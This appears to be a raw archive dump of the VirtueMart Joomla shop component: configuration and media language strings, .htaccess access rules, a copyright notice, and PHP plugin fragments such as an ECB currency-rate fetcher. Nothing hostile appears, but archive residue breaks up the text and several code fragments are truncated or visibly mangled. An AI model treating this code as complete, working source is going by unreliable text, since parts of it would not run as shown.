COM_VIRTUEMART_ADMIN_CFG_SHOW_FEATURED_TIP="If checked, VirtueMart home page will display Featured products" COM_VIRTUEMART_ADMIN_CFG_SHOW_LATEST="Show latest products" COM_VIRTUEMART_ADMIN_CFG_SHOW_LATEST_TIP="If checked, VirtueMart home page will display the latest products" COM_VIRTUEMART_ADMIN_CFG_SHOW_MANUFACTURERS="Show Manufacturers" COM_VIRTUEMART_ADMIN_CFG_SHOW_MANUFACTURERS_EXPLAIN="If checked, Manufacturers will displayed." COM_VIRTUEMART_ADMIN_CFG_SHOW_OUT_OF_STOCK_PRODUCTS="Show Products Out of Stock" COM_VIRTUEMART_ADMIN_CFG_SHOW_OUT_OF_STOCK_PRODUCTS_EXPLAIN="When enabled, Products that are currently not in Stock are displayed. Otherwise, such Products are hidden." COM_VIRTUEMART_ADMIN_CFG_SHOW_PRICES="Show Prices" COM_VIRTUEMART_ADMIN_CFG_SHOW_PRICES_EXPLAIN="Check to show prices. If using catalogue functionality, some don't want prices to appear on pages." COM_VIRTUEMART_ADMIN_CFG_SHOW_RECENT="Show recent" COM_VIRTUEMART_ADMIN_CFG_SHOW_RECENT_TIP="If checked, VirtueMart home page will display Recent products" COM_VIRTUEMART_ADMIN_CFG_SHOW_STORE_DESC="Show Store Description" COM_VIRTUEMART_ADMIN_CFG_SHOW_STORE_DESC_TIP="If checked, VirtueMart home page will display the Store Description." COM_VIRTUEMART_ADMIN_CFG_SHOW_TOPTEN="Show Top ten products" COM_VIRTUEMART_ADMIN_CFG_SHOW_TOPTEN_TIP="If checked, VirtueMart home page will display Top ten products" COM_VIRTUEMART_ADMIN_CFG_SSL="Enable SSL for sensitive areas (recommended)" COM_VIRTUEMART_ADMIN_CFG_SSL_EXPLAIN="This forces joomla to use SSL for the links in the cart and the user area. Be sure to use the right joomla settings for the user maintenance, the guest order and the login. Requires the prior installation of an SSL certificate for your domain/IP address" COM_VIRTUEMART_ADMIN_CFG_STATUS_PDF_INVOICES="Default Order Status to create an invoice" COM_VIRTUEMART_ADMIN_CFG_STATUS_PDF_INVOICES_TIP="Default Order Status to create an invoice. Select also the download status for the emails, to directly send the invoice. Can be overriden by the payment method" COM_VIRTUEMART_ADMIN_CFG_SYSTEMTAB="System" COM_VIRTUEMART_ADMIN_CFG_SYSTEM_SETTINGS="System Settings" COM_VIRTUEMART_ADMIN_CFG_TEMPLATESTAB="Templates" COM_VIRTUEMART_ADMIN_CFG_THUMBNAIL_HEIGHT="Thumbnail Image Height" COM_VIRTUEMART_ADMIN_CFG_THUMBNAIL_HEIGHT_TIP="The target height of the resized Thumbnail Image." COM_VIRTUEMART_ADMIN_CFG_THUMBNAIL_WIDTH="Thumbnail Image Width" COM_VIRTUEMART_ADMIN_CFG_THUMBNAIL_WIDTH_TIP="The target width of the resized Thumbnail Image." COM_VIRTUEMART_ADMIN_CFG_TITLES="Titles and Professional Titles" COM_VIRTUEMART_ADMIN_CFG_TITLES_LBL="Used Titles and Professional Titles" COM_VIRTUEMART_ADMIN_CFG_TOOLS_EXPLAIN="Enable the database Update tool. This tools are done for developers and can break your shop completly. Please use it with caution. " COM_VIRTUEMART_ADMIN_CFG_TOPTEN_PROD_ROWS="Rows for Top ten" COM_VIRTUEMART_ADMIN_CFG_TOPTEN_PROD_ROWS_EXPL="This defines the number of rows for Top ten products." COM_VIRTUEMART_ADMIN_CFG_USER_REGISTRATION_SETTINGS="User Registration Settings" COM_VIRTUEMART_ADMIN_CFG_USE_ONLY_AS_CATALOGUE="Use only as catalogue" COM_VIRTUEMART_ADMIN_CFG_USE_ONLY_AS_CATALOGUE_EXPLAIN="If you check this, you disable all cart functionalities." COM_VIRTUEMART_ADMIN_CHECKOUT_OPC="One Page Checkout enabled" COM_VIRTUEMART_ADMIN_CHECKOUT_OPC_TIP="If enabled, the shipment and payment selection will be displayed in the cart view. Note: if you are using 3rd party templates, the template must have implemented that feature." COM_VIRTUEMART_ADMIN_ONCHECKOUT_CHANGE_SHOPPER="Allow Administrators to change the current Shopper" COM_VIRTUEMART_ADMIN_ONCHECKOUT_CHANGE_SHOPPER_TIP="This option allows administrators to change the current shopper. The user session will be changed to the selected user and the original admin user ID is stored as created_by in the order table. This is usefull if you want to place an order on behalf of your customer in the FE, for which you need full access to the shopper's address(es)." COM_VIRTUEMART_ADMIN_ONCHECKOUT_ONLY_REGISTERED="Only registered users can checkout" COM_VIRTUEMART_ADMIN_ONCHECKOUT_ONLY_REGISTERED_TIP="This option let only registered users make a checkout, you should have 'On checkout, ask for registration' enabled" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_LEGALINFO="Show Terms of Service on the cart/checkout?" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_LEGALINFO_TIP="Store owners are required by law to inform their shoppers about return and order cancellation policies in most European countries. So this should be enabled in most cases." COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_PRODUCTIMAGES="Show product images" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_PRODUCTIMAGES_TIP="Show mini thumbnails of the products in the cart, may break your layout" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_REGISTER="On checkout, ask for registration" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_REGISTER_TIP="During the checkout process, the client can register" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_STEPS="Show checkout steps" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_STEPS_TIP="Text to display before registration page" COM_VIRTUEMART_ADMIN_SHOW_EMAILFRIEND="Show the Recommend to a friend link?" COM_VIRTUEMART_ADMIN_SHOW_EMAILFRIEND_TIP="When enabled, a link is displayed that allows the shopper to send a recommendation email for a specific product." COM_VIRTUEMART_ADMIN_SHOW_PRINTICON="Show the Print View link?" COM_VIRTUEMART_ADMIN_SHOW_PRINTICON_TIP="When enabled, a link is displayed that opens the current page in a new popup for printing it out." COM_VIRTUEMART_ASK_QUESTION_CAPTCHA="Use ReCaptcha for recommendation and ask a question" COM_VIRTUEMART_ASK_QUESTION_CAPTCHA_TIP="Before you enable this you have to enter your Public Key and Private Key into the Joomla ReCaptcha Plugin basic options. For instructiions how to get those keys please read the plugin description." COM_VIRTUEMART_ASK_QUESTION_MAX_LENGTH="Question maximum length" COM_VIRTUEMART_ASK_QUESTION_MAX_LENGTH_EXPLAIN="Maximum valid length for asking a question" COM_VIRTUEMART_ASK_QUESTION_MIN_LENGTH="Question minimum length" COM_VIRTUEMART_ASK_QUESTION_MIN_LENGTH_EXPLAIN="Minimum valid length for asking a question" COM_VIRTUEMART_ASK_QUESTION_SHOW="Allows to Ask a question" COM_VIRTUEMART_ASK_QUESTION_SHOW_EXPLAIN="When enabled, a link is displayed that opens in a new popup and allows customers to send a question to the vendor" COM_VIRTUEMART_BROWSE_CAT_ORDERBY_DEFAULT_FIELD_LBL="Default category sort order" COM_VIRTUEMART_BROWSE_CAT_ORDERBY_DEFAULT_FIELD_LBL_TIP="Defines by which field categories are ordered by default on the browse pages" COM_VIRTUEMART_BROWSE_ORDERBY_DEFAULT_FIELD_LBL="Default product sort order" COM_VIRTUEMART_BROWSE_ORDERBY_DEFAULT_FIELD_LBL_TIP="Defines by which field products are ordered by default on the browse pages" COM_VIRTUEMART_BROWSE_ORDERBY_DEFAULT_FIELD_TITLE="Product Sort Order Settings" COM_VIRTUEMART_BROWSE_ORDERBY_FIELDS_LBL="Available Sort-by fields" COM_VIRTUEMART_BROWSE_ORDERBY_FIELDS_LBL_TIP="Choose the Sort-by fields for the browse page. Each one defines a sort method for the product browse page. If you deselect all, the Order-By-Form will not be shown." COM_VIRTUEMART_BROWSE_SEARCH_FIELDS_LBL="Available Search Fields" COM_VIRTUEMART_BROWSE_SEARCH_FIELDS_LBL_TIP="Choose the Search-by fields for the browse page. Each one defines a search method for the product browse page. If you deselect all, the Search-Form will not be shown." COM_VIRTUEMART_CFG_ADDITIONAL_IMAGES="Open additional images on main position" COM_VIRTUEMART_CFG_ADDITIONAL_IMAGES_TIP="If enabled, additional images are open on main image position. If disabled, additional images are open direct in lightbox." COM_VIRTUEMART_CFG_CONTENT_PLUGINS_ENABLE="Enable content plugins in descriptions?" COM_VIRTUEMART_CFG_CONTENT_PLUGINS_ENABLE_TIP="If enabled, product and category descriptions are parsed by all published content plugins." COM_VIRTUEMART_CFG_CURRENCY_MODULE="Select a currency converter module" COM_VIRTUEMART_CFG_CURRENCY_MODULE_TIP="This allows you to select a certain currency converter module. Such modules fetch exchange rates from a server and convert one currency into another." COM_VIRTUEMART_CFG_DELDATE_INV="Default delivery date" COM_VIRTUEMART_CFG_DELDATE_INV_TIP="Set here the default delivery date of your invoice. Common is the first option, you can override the used text, or the orderstatus shipped." COM_VIRTUEMART_CFG_ENABLE_FEATURE="Enable this Feature" COM_VIRTUEMART_CFG_FANCY="Use Fancybox" COM_VIRTUEMART_CFG_FANCY_TIP="In case you modded your shop with a lot js, you may stay with facebox, but we suggest fancybox." COM_VIRTUEMART_CFG_LOWSTOCK_NOTIFY="Send low stock notification" COM_VIRTUEMART_CFG_LOWSTOCK_NOTIFY_TIP="Sends a low stock notification if products in stock and booked are lower than the value set in the product edit" COM_VIRTUEMART_CFG_OSTATUS_EMAILS_SHOPPER="Default Order Status to send email to shopper" COM_VIRTUEMART_CFG_OSTATUS_EMAILS_SHOPPER_TIP="You can choose multiple order statuse" COM_VIRTUEMART_CFG_OSTATUS_EMAILS_VENDOR="Default Order Status to send email to vendor" COM_VIRTUEMART_CFG_OSTATUS_EMAILS_VENDOR_TIP="You can choose multiple order statuse" COM_VIRTUEMART_CFG_PAGSEQ_1="For views with 1 item per row" COM_VIRTUEMART_CFG_PAGSEQ_1_TIP="Set a list of numbers separated by commas that will be used in the list box on the frontend.
      Example: 3,5,10,20
      Leave empty, to use the generic pagination. Be aware the generic default is already product per row multiplied by 5,10,20,50" COM_VIRTUEMART_CFG_PAGSEQ_2="For 2 items per row" COM_VIRTUEMART_CFG_PAGSEQ_2_TIP="Set a list of numbers separated by commas that will be used in the list box on the frontend.
      Example: 6,12,18,30
      Leave empty, to use the generic pagination. Be aware the generic default is already product per row multiplied by 5,10,20,50" COM_VIRTUEMART_CFG_PAGSEQ_3="For 3 items per row" COM_VIRTUEMART_CFG_PAGSEQ_3_TIP="Set a list of numbers separated by commas that will be used in the list box on the frontend.
      Example: 6,12,18,24
      Leave empty, to use the generic pagination. Be aware the generic default is already product per row multiplied by 5,10,20,50" COM_VIRTUEMART_CFG_PAGSEQ_4="For 4 items per row" COM_VIRTUEMART_CFG_PAGSEQ_4_TIP="Set a list of numbers separated by commas that will be used in the list box on the frontend.
      Example: 8,24,32,64
      Leave empty, to use the generic pagination. Be aware the generic default is already product per row multiplied by 5,10,20,50" COM_VIRTUEMART_CFG_PAGSEQ_5="For 5 items per row" COM_VIRTUEMART_CFG_PAGSEQ_5_TIP="Set a list of numbers separated by commas that will be used in the list box on the frontend.
      Example: 15,50,100,150
      Leave empty, to use the generic pagination. Be aware the generic default is already product per row multiplied by 5,10,20,50" COM_VIRTUEMART_CFG_PAGSEQ_BE="Backend pagination sequence" COM_VIRTUEMART_CFG_PAGSEQ_BE_TIP="Set a list of numbers separated by commas that will be used in the list box on the backend.
      Example: 15,50,100,150
      Leave empty, to use the generic pagination. Be aware the generic default is already product per row multiplied by 5,10,20,50" COM_VIRTUEMART_CFG_POOS_ENABLE="Action when a Product is Out of Stock" COM_VIRTUEMART_CFG_POOS_ENABLE_EXPLAIN="You can define here, which action should happen, when a product is out of stock" COM_VIRTUEMART_CFG_POPUP_REL="Show related products in the popup" COM_VIRTUEMART_CFG_POPUP_REL_TIP="Showing related products in the add to cart popup can increase your conversion rate" COM_VIRTUEMART_COUPONS_ENABLE="Enable Coupon Usage" COM_VIRTUEMART_COUPONS_ENABLE_EXPLAIN="If you enable the Coupon Usage, you allow shoppers to fill in Coupon Numbers to gain discounts on their purchase." COM_VIRTUEMART_COUPONS_EXPIRE="Default Coupon Lifetime" COM_VIRTUEMART_COUPONS_EXPIRE_EXPLAIN="You can set a default lifetime for coupons here; they will expire the given amount of time after creation. This date can be changed per coupon." COM_VIRTUEMART_COUPONS_REMOVE="Order Status to Delete a Gift Coupon" COM_VIRTUEMART_COUPONS_REMOVE_TIP="Gift coupons will be deleted only for those order status" COM_VIRTUEMART_LATEST_PRODUCTS_DAYS="Latest Products - Number of days to display" COM_VIRTUEMART_LATEST_PRODUCTS_DAYS_EXPLAIN="Number of consecutive days on which latest products are being displayed" COM_VIRTUEMART_LATEST_PRODUCTS_ORDERBY="Latest Products - Sort order of display" COM_VIRTUEMART_LATEST_PRODUCTS_ORDERBY_CREATED="Last created products first" COM_VIRTUEMART_LATEST_PRODUCTS_ORDERBY_EXPLAIN="Sort order of displayed latest products" COM_VIRTUEMART_LIST_LIMIT="Default items per list view" COM_VIRTUEMART_LIST_LIMIT_EXPLAIN="The standard pagination list limit for all listings, back and frontend" COM_VIRTUEMART_LIST_MEDIA="Max items listed displaying media" COM_VIRTUEMART_LIST_MEDIA_TIP="Max items displayed in the listing decide if medias are shown in the list, or not." COM_VIRTUEMART_LLIMIT_INIT_BE="Backend default items per list view" COM_VIRTUEMART_LLIMIT_INIT_BE_TIP="The standard pagination list limit for all listings in the backend" COM_VIRTUEMART_LLIMIT_INIT_FE="Frontend default items per list view" COM_VIRTUEMART_LLIMIT_INIT_FE_TIP="The standard pagination list limit for all listings in the frontend" COM_VIRTUEMART_LWH_UNIT_DEFAULT="Default LWH Unit" COM_VIRTUEMART_LWH_UNIT_DEFAULT_EXPLAIN="Set the default unit for your shop" COM_VIRTUEMART_PDF_ICON_SHOW="Show the pdf view icon?" COM_VIRTUEMART_PDF_ICON_SHOW_EXPLAIN="Show or Hide the pdf link icon" COM_VIRTUEMART_PRODUCT_NAVIGATION_SHOW="Show the product navigation?" COM_VIRTUEMART_PRODUCT_NAVIGATION_SHOW_EXPLAIN="Show the product navigation on the top of the product page" COM_VIRTUEMART_RECCOMEND_UNATUH="Allow non logged-in to send a recommendation or ask a question" COM_VIRTUEMART_RECCOMEND_UNATUH_EXPLAIN="When enabled any user can send recommendation on product, ask a question, or call for price, otherwise only logged users are able to use this functions. You can enable it, but check your emails regularly, it can be misused for spam" COM_VIRTUEMART_REGISTRATION_CAPTCHA="Use ReCaptcha for Registration" COM_VIRTUEMART_REGISTRATION_CAPTCHA_EXPLAIN="Before you enable this you have to enter your Public Key and Private Key into the Joomla ReCaptcha Plugin basic options. For instructiions how to get those keys please read the plugin description." COM_VIRTUEMART_REVIEWS_AUTOPUBLISH="Auto-Publish Reviews?" COM_VIRTUEMART_REVIEWS_AUTOPUBLISH_TIP="If checked, reviews are automatically published after being posted. If not, the administrator must approve/publish them." COM_VIRTUEMART_REVIEWS_OS="Order status Review/Rating" COM_VIRTUEMART_REVIEWS_OS_TIP="Order status to enable the Review/Rating in case the option Shoppers who bought the product was selected" COM_VIRTUEMART_SELECT_DEFAULT_SHOP_TEMPLATE="Select the default template for your Shop" COM_VIRTUEMART_SELECT_DEFAULT_SHOP_TEMPLATE_TIP="Templates allow styling and customizing your shop.
      If no other templates than the 'default' one are present, you haven't installed more templates." COM_VIRTUEMART_UNCAT_CHILD_PRODUCTS_SHOW="Show uncategorised child products in search results and modules?" COM_VIRTUEMART_UNCAT_CHILD_PRODUCTS_SHOW_EXPLAIN="When enabled, all products and child products will appear in search results and standard modules. When disabled, any uncategorised child products will not appear, only the parent." COM_VIRTUEMART_VM_ERROR_HANDLING_ENABLE="Enable VirtueMart 404 error handling" COM_VIRTUEMART_VM_ERROR_HANDLING_ENABLE_EXPLAIN="When VirtueMart encounters a 404 error (missing product, missing category, etc), selecting this option will redirect the user to the storefront. Leaving this unchecked will pass the error to Joomla to handle in the usual way." COM_VIRTUEMART_WEIGHT_UNIT_DEFAULT="Default Weight Unit" COM_VIRTUEMART_WEIGHT_UNIT_DEFAULT_EXPLAIN="Default Weight Unit used for the products. This value can be changed per product"PKs>\V?<com_virtuemart/language/en-GB/en-GB.com_virtuemart_media.ininuW+A; Virtuemart! Project ; Copyright (C) 2012 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM ; COM_VIRTUEMART_DEFAULT_URL="(Default URL) %1$s" COM_VIRTUEMART_FILES_FORM="Product Files Form" COM_VIRTUEMART_FILES_FORM_ALREADY_ATTACHED_FILE="already attached file" COM_VIRTUEMART_FILES_FORM_ALREADY_ATTACHED_FILE_PRIMARY="primary attached file" COM_VIRTUEMART_FILES_FORM_AUTO_THUMBNAIL="Create Thumbnail" COM_VIRTUEMART_FILES_FORM_CURRENT_FILE="Current File" COM_VIRTUEMART_FILES_FORM_CURRENT_FULL_IMAGE="Current Full Image" COM_VIRTUEMART_FILES_FORM_CURRENT_THUMB_IMAGE="Current Thumbnail Image" COM_VIRTUEMART_FILES_FORM_DOWNLOADABLE="Downloadable File" COM_VIRTUEMART_FILES_FORM_FILE="Additional File" COM_VIRTUEMART_FILES_FORM_FILE_DESCRIPTION="Displayed image subtitle" COM_VIRTUEMART_FILES_FORM_FILE_META="Image Alt-Text" COM_VIRTUEMART_FILES_FORM_FILE_PUBLISHED="File published?" COM_VIRTUEMART_FILES_FORM_FILE_TITLE="Unique Filename " COM_VIRTUEMART_FILES_FORM_FILE_URL="Used url" COM_VIRTUEMART_FILES_FORM_FILE_URL_THUMB="Used thumb url" COM_VIRTUEMART_FILES_FORM_IMAGE="Additional Image" COM_VIRTUEMART_FILES_FORM_IMAGETYPES_SUPPORTED="Supported filetypes for thumbnail creation " COM_VIRTUEMART_FILES_FORM_LANGUAGE="Languages" COM_VIRTUEMART_FILES_FORM_LANGUAGE_TIP="Show this image along with the selected languages (leave blank for all)" COM_VIRTUEMART_FILES_FORM_LOCATION="Storing location/type" COM_VIRTUEMART_FILES_FORM_MIME_CONTENT_TYPE_NOT_SUPPORTED="The server does NOT support mime type recognition, using table" COM_VIRTUEMART_FILES_FORM_MIME_CONTENT_TYPE_SUPPORTED="The server supports mime type recognition" COM_VIRTUEMART_FILES_FORM_PRODUCT_IMAGE="Product Image (full and thumb)" COM_VIRTUEMART_FILES_FORM_RESIZE_IMAGE="Resize Full Image File?" COM_VIRTUEMART_FILES_FORM_ROLE="Role" COM_VIRTUEMART_FILES_FORM_UPLOAD_DOWNLOADPATH="Standard download directory" COM_VIRTUEMART_FILES_FORM_UPLOAD_IMAGEPATH="Standard image directory" COM_VIRTUEMART_FILES_FORM_UPLOAD_TO="Upload to" COM_VIRTUEMART_FILE_DESCRIPTION="File Description" COM_VIRTUEMART_FILE_MIMETYPE="File Mimetype" COM_VIRTUEMART_FILE_TITLE="Title" COM_VIRTUEMART_FILE_UPLOAD="Upload File" COM_VIRTUEMART_FILE_URL="Url" COM_VIRTUEMART_FORM_IMAGE_DELETE_LBL="Delete Image" COM_VIRTUEMART_FORM_MEDIA_CREATE_THUMBNAIL="Create thumb" COM_VIRTUEMART_FORM_MEDIA_DELETE="delete" COM_VIRTUEMART_FORM_MEDIA_DISPLAYABLE="Displayable" COM_VIRTUEMART_FORM_MEDIA_DOWNLOADABLE="Downloadable" COM_VIRTUEMART_FORM_MEDIA_NO_ATTRIB="No attribute" COM_VIRTUEMART_FORM_MEDIA_SET_CATEGORIES="category" COM_VIRTUEMART_FORM_MEDIA_SET_CATEGORY="category" COM_VIRTUEMART_FORM_MEDIA_SET_FORSALE="For sale" COM_VIRTUEMART_FORM_MEDIA_SET_MANUFACTURER="manufacturer" COM_VIRTUEMART_FORM_MEDIA_SET_MANUFACTURERS="manufacturer" COM_VIRTUEMART_FORM_MEDIA_SET_PRODUCT="product" COM_VIRTUEMART_FORM_MEDIA_SET_PRODUCTS="product" COM_VIRTUEMART_FORM_MEDIA_SET_VENDOR="vendor" COM_VIRTUEMART_FORM_MEDIA_SET_VENDORS="vendor" COM_VIRTUEMART_FORM_MEDIA_SET_VENDORS="vendor" COM_VIRTUEMART_FORM_MEDIA_UPLOAD="Upload" COM_VIRTUEMART_FORM_MEDIA_UPLOAD_ATTACH="upload and attach" COM_VIRTUEMART_FORM_MEDIA_UPLOAD_DELETE="upload and delete" COM_VIRTUEMART_FORM_MEDIA_UPLOAD_REPLACE="Replace" COM_VIRTUEMART_FORM_MEDIA_UPLOAD_REPLACE_THUMB="Replace thumb" COM_VIRTUEMART_IMAGES="Images" COM_VIRTUEMART_IMAGE_ACTION="Image Action" COM_VIRTUEMART_IMAGE_ATTACH_EXISTING="--Image Choice--" COM_VIRTUEMART_IMAGE_ATTACH_NEW="Attach new Image" COM_VIRTUEMART_IMAGE_DETACH="Image Detach" COM_VIRTUEMART_IMAGE_EDIT_INFO="Edit Image Information" COM_VIRTUEMART_IMAGE_INFORMATION="Image Information" COM_VIRTUEMART_IMAGE_NOT_FOUND="Image not found!" COM_VIRTUEMART_IMAGE_REMOVE="Remove Image" COM_VIRTUEMART_MEDIA_LIST="Product Media File List" COM_VIRTUEMART_RTB_AD="Sell more with professional looking product images! Get them edited by our partner Remove The Background. They love to remove backgrounds, crop, resize, add shadow, combine images (and much more) so you get the perfect result every time." COM_VIRTUEMART_SEARCH_MEDIA="Search for images" COM_VIRTUEMART_SEARCH_MEDIA_TIP="Type a space to display all images or the first letters of an image title" PKs>\)!com_virtuemart/language/.htaccessnuW+A Order allow,deny Deny from all PKs>\V"com_virtuemart/language/index.htmlnuW+A PKs>\t1com_virtuemart/COPYRIGHT.phpnuW+A
      
      Copyright:
      Since VM2 is a derived work of VM1, we list them beyond, some rests of them may be in the code.
      VirtueMart derives from copyrighted works licensed under the GNU General
      Public License.  This version has been modified pursuant to the
      GNU General Public License as of September 15, 2005, and as distributed,
      it includes or is derivative of works licensed under the GNU General
      Public License or other free or open source software licenses, including
      works copyrighted by any or all of the following, from 2009 - 2012,
      Max Milbers, Patrick Kohl, Valérie Isaksen, Rick Glunt, Roland Dalmulder, Oscar van Eijk, Urs Brülhart, Devendra Kumar Shukla,
      Jörg Kiekebusch, Christopher Roussel, John Acosta, George Kostopoulos, Zbigniew Mazur, John Wicks, Markus Öhler, Stephanie Schmidt,
      Vu Hoang Viet, Simon Hodgkiss, Fred Bidon, Mickaël Cabanas, Alexander Kludt, Konstantin Dzvonik
      
      
      
      If you have contributed a vital part of VirtueMart that is not mentioned and/or missing here,
      and you feel that your copyright note should be mentioned here,
      please contact the leader of the author team of VirtueMart (max|at|virtuemart.net).
      
      VirtueMart includes or is derivative of works distributed under the following copyright notices:
      
      Administrator Icons
      ----
      Copyright:	2008 Simon Josephson (http://www.artatwork.com.au)
      
      
      Currency Converter Module
      ----
      Copyright:	2004 Werner Knudsen
      License:	GNU General Public License (GPL)
      
      
      Image2Thumbnail Class
      ---
      Copyright:	Andreas Martens and Patrick Teague
      License:	Freeware
      
      
      jQuery JavaScript Library
      ----
      Copyright: 2009 John Resig
      License: Dual licensed under the MIT and GPL licenses.
      
      PEAR
      ----
      Copyright:	1997-2004 The PHP Group
      License:	PHP license
      
      
      OLD VM1: Copyright, since we used some lines, all not already mentioned above is here again
      
      VirtueMart derives from copyrighted works licensed under the GNU General
      Public License.  This version has been modified pursuant to the
      GNU General Public License as of September 15, 2005, and as distributed,
      it includes or is derivative of works licensed under the GNU General
      Public License or other free or open source software licenses, including
      works copyrighted by any or all of the following, from 2000 through 2005 (appearing in alphabetical order):
      Ekkehard Domning, Zdenek Dvorak, Edikon corp., Soeren Eberhardt,
      pablo (from Edikon), Bernhard Pfeifer,  John Syben, Phil Taylor, Erich Vinson,
      or Mike Wattier from Zephware (devcompany.com)
      
      (If you have contributed a piece of VirtueMart that is not mentioned and missing here,
      and you feel that your copyright note should be mentioned here,
      please contact the author of VirtueMart (max |at| virtuemart.net).)
      
      
      CreditCard Class
      ---
      Copyright:	Daniel Fr�z Costa
      License:	Public Domain
      
      
      FPDF
      ----
      Copyright:	Olivier PLATHEY
      License:	Freeware
      
      HMTL2PDF
      ----
      Copyright: 2004-2005 Renato Coelho
      License:	GNU Lesser General Public License (LGPL)
      
      phpInputfilter
      ----
      Copyright:	Daniel Morris
      License:	GNU General Public License (GPL)
      
      phpMailer
      ----
      Copyright:	2001 - 2003  Brent R. Matzelle
      License:	GNU Lesser General Public License (LGPL)
      
      phpShop
      ----
      Copyright:	2000 - 2004 Edikon Corp. (http://www.edikon.com)
      License:	GNU General Public License (GPL)
      Community: http://www.phpshop.org
      
      tar-archive
      ----
      Copyright:	1997-2003 The PHP Group
      License:	PHP License
      
      wz-tooltip
      ----
      Copyright:	2002-2004 Walter Zorn
      License:	GNU Lesser General Public License (LGPL)
      
      
      PKs>\20com_virtuemart/plugins/vmuserfieldtypeplugin.phpnuW+A_tablename = '#__virtuemart_userfield_' . $this->_name; // $this->_createTable(); // $this->_tableChecked = true; } // add params fields in object function AddUserfieldParameter($params){ $plgParams = explode('|', $params); foreach($plgParams as $item){ if (empty($item)) continue; $param = explode('=',$item); $this->$param[0] = json_decode($param[1]); //unset($item[0]); } } // add params fields in object by name function AddUserfieldParameterByPlgName($plgName){ if(empty($this->_db)) $this->_db = JFactory::getDBO(); $q = 'SELECT `params` FROM `#__virtuemart_userfields` WHERE `type` = "plugin' . $plgName.'"'; $this->_db->setQuery($q); $params = $this->_db->loadResult(); $this->AddUserfieldParameter($params); } } PKs>\4com_virtuemart/plugins/currency_converter/index.htmlnuW+APKs>\/Ǿ8com_virtuemart/plugins/currency_converter/convertECB.phpnuW+Alifetime; $cache->setLifeTime(86400/4); // check 4 time per day // save cache conf $conf = JFactory::getConfig(); // check if cache is enabled in configuration $cacheactive = $conf->getValue('config.caching'); $cache->setCaching(1); //enable caching $globalCurrencyConverter = $cache->call( array( 'convertECB', 'getSetExchangeRates' ),$this->document_address ); // revert configuration $cache->setCaching($cacheactive); if(!$globalCurrencyConverter ){ //vmdebug('convert convert No $globalCurrencyConverter convert '.$amountA); return $amountA; } else { $valA = isset( $globalCurrencyConverter[$currA] ) ? $globalCurrencyConverter[$currA] : 1.0; $valB = isset( $globalCurrencyConverter[$currB] ) ? $globalCurrencyConverter[$currB] : 1.0; $val = (float)$amountA * (float)$valB / (float)$valA; //vmdebug('convertECB with '.$currA.' '.$amountA.' * '.$valB.' / '.$valA.' = '.$val,$globalCurrencyConverter[$currA]); return $val; } } static function getSetExchangeRates($ecb_filename){ $archive = true; setlocale(LC_TIME, "en-GB"); $now = time() + 3600; // Time in ECB (Germany) is GMT + 1 hour (3600 seconds) if (date("I")) { $now += 3600; // Adjust for daylight saving time } $weekday_now_local = gmdate('w', $now); // week day, important: week starts with sunday (= 0) !! $date_now_local = gmdate('Ymd', $now); $time_now_local = gmdate('Hi', $now); $time_ecb_update = '1415'; if( is_writable(JPATH_BASE.DS.'cache') ) { $store_path = JPATH_BASE.DS.'cache'; } else { $store_path = JPATH_SITE.DS.'media'; } $archivefile_name = $store_path.'/daily.xml'; $val = ''; if(file_exists($archivefile_name) && filesize( $archivefile_name ) > 0 ) { // timestamp for the Filename $file_datestamp = date('Ymd', filemtime($archivefile_name)); // check if today is a weekday - no updates on weekends if( date( 'w' ) > 0 && date( 'w' ) < 6 // compare filedate and actual date && $file_datestamp != $date_now_local // if localtime is greater then ecb-update-time go on to update and write files && $time_now_local > $time_ecb_update) { $curr_filename = $ecb_filename; } else { $curr_filename = $archivefile_name; $last_updated = $file_datestamp; $archive = false; } } else { $curr_filename = $ecb_filename; } if( !is_writable( $store_path )) { $archive = false; vmError( "The file $archivefile_name can't be created. The directory $store_path is not writable" ); } // JError::raiseNotice(1, "The file $archivefile_name should be in the directory $store_path " ); if( $curr_filename == $ecb_filename ) { // Fetch the file from the internet if(!class_exists('VmConnector')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'connection.php'); // JError::raiseNotice(1, "Updating currency " ); if (!$contents = VmConnector::handleCommunication( $curr_filename )) { if (isset($file_datestamp)) { $contents = @file_get_contents( $curr_filename ); } } else $last_updated = date('Ymd'); } else { $contents = @file_get_contents( $curr_filename ); } if( $contents ) { // if archivefile does not exist if( $archive ) { // now write new file file_put_contents( $archivefile_name, $contents ); } $contents = str_replace (" loadXML($contents) ) { //todo vmError('Failed to parse the Currency Converter XML document.'); vmError('The content: '.$contents); // $GLOBALS['product_currency'] = $vendor_currency; return false; } $currency_list = $xmlDoc->getElementsByTagName( "Cube" ); // Loop through the Currency List $length = $currency_list->length; for ($i = 0; $i < $length; $i++) { $currNode = $currency_list->item($i); if(!empty($currNode) && !empty($currNode->attributes->getNamedItem("currency")->nodeValue)){ $currency[$currNode->attributes->getNamedItem("currency")->nodeValue] = $currNode->attributes->getNamedItem("rate")->nodeValue; unset( $currNode ); } } $globalCurrencyConverter = $currency; } else { $globalCurrencyConverter = false; vmError( 'Failed to retrieve the Currency Converter XML document.'); // return false; } return $globalCurrencyConverter; } } // pure php no closing tag PKs>\il8com_virtuemart/plugins/currency_converter/convertECB.xmlnuW+A ECB Currency Converter 28. January 2008 GNU/GPL http://joomlacode.org/gf/project/jmart/ 1.0 Currency Converter Plugin, based on Rates from the European Central Bank convertECB convertECB.php PKs>\)3com_virtuemart/plugins/currency_converter/.htaccessnuW+A Order allow,deny Deny from all PKs>\?L--+com_virtuemart/plugins/vmextendedplugin.phpnuW+A_name; if (empty($name)) { $r = null; preg_match('/VmExtended(.*)/i', get_class($this), $r); $name = (empty($r)) ? '' : strtolower($r[1]); $this->_name = $name; } return $name; } /** * Constructor * * @param object $subject The object to observe * @param array $config An array that holds the plugin configuration */ public function __construct (&$subject, $config=array()) { parent::__construct($subject, $config); $this->_path = JPATH_PLUGINS.DS.$this->getName(); $lang = JFactory::getLanguage(); 